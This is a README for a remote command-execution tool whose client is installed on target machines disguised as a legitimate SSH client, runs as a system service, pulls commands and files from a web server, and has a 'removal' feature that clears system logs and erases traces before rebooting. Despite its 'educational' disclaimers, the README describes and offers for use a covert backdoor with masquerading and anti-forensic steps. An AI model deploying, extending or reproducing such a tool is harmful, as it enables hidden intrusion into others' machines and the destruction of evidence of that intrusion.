A web-based remote command execution system with SSH disguise capabilities. This system consists of two main components:
- Server: A web interface for managing and executing remote commands
- Client: A disguised SSH client that connects to the server and executes commands
- 🌐 Modern web interface for command management
- 📝 Save and organize commands and scripts
- 📁 File upload and management
- 🖥️ Real-time console with command execution
- 👥 Multi-client support
- 📊 Command history and logging
- 🔄 WebSocket support for real-time communication
- 🥷 SSH disguise - appears as legitimate SSH client
- 🔄 Auto-reconnection and heartbeat system
- 🚀 Background service mode
- 📡 WebSocket and HTTP communication
- 🛡️ System service integration
- 📱 Cross-platform support
-
Navigate to server directory:
cd server/ -
Run the universal startup script:
./start_universal.sh
-
Access the web interface: Open your browser to
http://localhost:5000
The universal script will:
- Detect your system automatically
- Install Python dependencies
- Create virtual environment if possible
- Set up all necessary paths
- Start the server with proper configuration
-
Copy client files to target machine:
scp -r client/ user@target-machine:/tmp/
-
On the target machine:
cd /tmp/client/ -
Run the universal installer:
# For system-wide installation (recommended): sudo ./install_universal.sh # For user-only installation: ./install_universal.sh
-
Update server URL:
# Edit the configuration file nano ~/.local/share/ssh-client/config.py # (user install) # or nano /usr/share/ssh-client/config.py # (system install) # Change SERVER_URL to your server's IP SERVER_URL = "http://YOUR_SERVER_IP:5000"
The universal installer will:
- Detect your Linux distribution
- Install SSH client as cover
- Set up Python environment
- Install as system service
- Create management tools
- Work with or without sudo privileges
Run the universal test script to verify compatibility:
./test_universal.shThis will check:
- Python environment
- Package managers
- Network connectivity
- File permissions
- Port availability
- System compatibility
- Dashboard: View all connected clients and their status
- Commands: Create, save, and execute commands on remote clients
- Scripts: Write and execute scripts (Bash, Python, PowerShell, etc.)
- Files: Upload files and transfer them to remote clients
- Console: Real-time command execution with live output
- Navigate to the "Commands" tab
- Fill in the command name, actual command, and description
- Click "Save Command"
- Select a command from the saved list
- Choose the target client from the dropdown
- Click "Execute"
- Go to the "Console" tab
- Select a client
- Type commands and press Enter
- See real-time output
- Navigate to the "Scripts" tab
- Choose the script language (Bash, Python, PowerShell, Batch)
- Write your script content
- Add name and description
- Click "Save Script"
- Select a script from the saved list
- Choose the target client
- Click "Execute"
- Go to the "Files" tab
- Drop files or click "Choose Files"
- Files are automatically uploaded to the server
Files can be transferred to clients using commands like:
# Download from server
curl -o filename http://server:5000/api/files/FILE_ID
# Or using wget
wget -O filename http://server:5000/api/files/FILE_ID- This system is for educational purposes and authorized penetration testing only
- Never use this system without proper authorization
- Change default configuration in production environments
- Use HTTPS in production
- Implement proper authentication and authorization
- Monitor and log all activities
Edit config.py to modify system settings:
- Server host and port
- Database configuration
- Security settings
- Client intervals
- SSH disguise settings
-
Port already in use:
sudo netstat -tlnp | grep :5000 sudo kill -9 PID
-
Database issues:
rm remote_commands.db # Restart server to recreate database -
Permission errors:
sudo chown -R $USER:$USER server/
-
Service not starting:
sudo systemctl status ssh-client.service sudo journalctl -u ssh-client.service
-
Connection issues:
# Check if server is reachable curl http://SERVER_IP:5000/api/clients # Check client logs sudo journalctl -u ssh-client.service -f
-
Reinstall client:
sudo systemctl stop ssh-client.service sudo systemctl disable ssh-client.service sudo rm -rf /usr/share/openssh-client sudo rm /etc/systemd/system/ssh-client.service sudo systemctl daemon-reload # Then run install.sh again
POST /api/client/register
{
"client_id": "unique-client-id",
"hostname": "client-hostname",
"os_info": "OS information"
}
POST /api/execute
{
"client_id": "target-client-id",
"command": "command-to-execute"
}
POST /api/client/result
{
"command_id": "command-id",
"client_id": "client-id",
"result": "command-output",
"exit_code": 0
}
cd server/
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 app.pycd client/
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 ssh_client.pyremote commands/
├── server/
│ ├── app.py # Main server application
│ ├── requirements.txt # Python dependencies
│ ├── start.sh # Server startup script
│ └── templates/
│ └── index.html # Web interface
├── client/
│ ├── ssh_client.py # Client disguise script
│ ├── requirements.txt # Client dependencies
│ └── install.sh # Client installation script
├── config.py # Configuration file
└── README.md # This file
- Fork the repository
- Create a feature branch
- Make your changes
- Test thoroughly
- Submit a pull request
This project is for educational purposes only. Use responsibly and only on systems you own or have explicit permission to test.
This tool is designed for educational purposes and authorized security testing only. The authors are not responsible for any misuse or damage caused by this software. Always ensure you have proper authorization before using this tool on any system.
The server includes a built-in client removal system that can completely remove clients without leaving traces:
- Navigate to the Dashboard
- Find the client you want to remove
- Click "🗑️ Remove Client"
- Confirm the action (this will reboot the target machine)
The system automatically includes a removal script that:
- Stops all client services
- Removes all installed files
- Clears system logs
- Removes autostart entries
- Cleans temporary files
- Reboots the machine for complete cleanup
For advanced users, use the standalone removal script:
# On the target machine
./scripts/advanced_removal.sh-
Prepare for deployment:
./deploy-coolify.sh
-
Update domain in docker-compose.yml:
- "traefik.http.routers.remote-command.rule=Host(`your-domain.com`)" -
Push to Git and deploy in Coolify
-
Build and run:
docker-compose up -d
-
Access at http://localhost:5000
FLASK_ENV=production
FLASK_DEBUG=false
FLASK_HOST=0.0.0.0
FLASK_PORT=5000
DB_PATH=/app/data/remote_commands.db
LOG_FILE=/app/logs/app.logthis is ai generated cuz i just wanted to test the idea to see if it was possible